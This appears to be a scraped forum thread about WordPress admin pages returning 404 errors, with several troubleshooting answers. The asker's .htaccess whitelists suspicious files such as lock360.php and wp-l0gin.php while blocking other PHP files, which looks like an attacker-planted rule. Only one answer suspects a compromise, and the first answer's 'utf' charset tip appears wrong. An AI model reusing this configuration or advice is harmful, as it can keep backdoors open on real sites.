Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Admin links shows 404 WordPress

Tags:

wordpress

After successful login, I can't access any of the page (I can't create new post, I can't edit post, I can't create page, I can't access any page on the left sidebar) on the admin panel, they all show 404 error. I have checked the .htaccess but it's alright. I can't access the permalink page cause it will show 404 error.

All these were working till when I tried accessing it yesterday.

.htaccess file

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
 </FilesMatch>
<FilesMatch 
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
like image 267
BlackPearl Avatar asked Aug 29 '21 23:08

BlackPearl


People also ask

How do I redirect a WordPress page without Plugin 404?

If you don't want to utilize a plugin, you may write code to redirect 404 pages to the homepage. To do so, log in to your server and navigate to the Public HTML folder or the folder containing your website files. You may also retrieve your website files by an FTP file application such as Filezilla.

What does Error 404 or Not Found error while accessing a URL mean?

404 is a status code that tells a web user that a requested page is not available. 404 and other response status codes are part of the web's Hypertext Transfer Protocol response codes. The 404 code means that a server could not find a client-requested webpage.


4 Answers

@BlackPearl i tried to reach out, several times, and help you debug your your website but you didn't respond back. I was going to help you avoid going through the "shotgun approach" and trying every possible combination that you either find online or people throw at you.

Anyway, speaking from experience, this would usually happen due to one primary reason, and that is obsolete themes and/or outdated plugins. Obsolete themes and plugins would loose their compatibilities with newer versions of wordpress over time and cause all sorts of nasty errors. Sometimes this happens because servers and host companies migrate to a newer version of PHP which doesn't support those outdated themes and plugins functionalities.

having said that, i'd try to do the following steps to debug it:

  • First thing i'd try is to switch themes. I'd switch my current theme to one the wordpress default themes.
  • In your wp-config.php try to change your "DB_CHARSET" to only "utf".
  • Sometimes files get corrupted for some reasons, so try to see if the index.php file located in your wordpress core root folder has the proper content. Not the one in the root folder of your theme, the other one that is located in the same directory as the wp-admin folder is located.
  • Try to clear your WordPress cache. If you are using one of the caching plugins on your site, then clear your plugin cache.
  • See if there are extra spaces at the top and/or at the bottom of your functions.php file. If so, then remove those extra spaces.
  • Try to increase your memory limit, specially if your wordpress site uses graphical/image related plugins.
    • In your wp-config.php file, define( 'WP_MEMORY_LIMIT', '256M' );
like image 101
Ruvee Avatar answered Oct 22 '22 15:10

Ruvee


I see you are denying php files. If you have plugin that is overwriting your htaccess file disable it. Or edit current htaccess file and change

<FilesMatch ".(py|exe|php)$">
  Order allow,deny
  Deny from all
</FilesMatch>

to

<FilesMatch ".(py|exe)$">
  Order allow,deny
  Deny from all
</FilesMatch>

If you still cant access your website replace current htaccess with default one for testing.

# BEGIN WordPress

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress
like image 40
Martin Mirchev Avatar answered Oct 22 '22 16:10

Martin Mirchev


Make sure your /wp-admin/ folder doesn't contain any .htaccess files Delete, if there is any.

If the problem persists...

Make sure the mod_rewrite is enabled

How to check whether mod_rewrite is enable on server?

Enable the mod, restart apache.

If the problem persists...

Check if .htaccess is allowed in Apache config

Go find your Apache config

Make sure the AllowOverride directive is set to All and within <Directory /var/www/your/dir/where/wp/is>:

Remember to restart Apache.

If the problem persists...

Delete .htaccess and reset permalinks

Go to /wp-login.php and login.

Settings -> Permalinks -> Save. (WP will automatically recreate your .htaccess again).

If you cannot get to the permalinks page do it programmatically, add the snippet to functions.php:

add_action( 'init', function () {
    flush_rewrite_rules( true );
}, 99 );

Refresh the page... Now your .httacces is recreated. Remove the code from functions.php.

if the problem persists...

Try disabling plugins. Rename the folder wp-content/plugins to _plugins, for example.

Refresh the page. Now your plugins are disactivated.

If the problem is gone, enable plugins 1 by 1 until the problem occurs again. That's how you find the faulty plugin.

like image 2
Denis Fedorov Avatar answered Oct 22 '22 16:10

Denis Fedorov


I think,You have been hacked. Check config file it must have some gibberish code which breaks php execution. Restore your database or atleast check it. check how many users you have. Do you have any user as admin. Try login with that user. Check your files. Try to restore from backup. Check your unix files setting may be some file s need execute permission.

https://www.malcare.com/blog/wordpress-file-permissions/

like image 1
Jin Thakur Avatar answered Oct 22 '22 14:10

Jin Thakur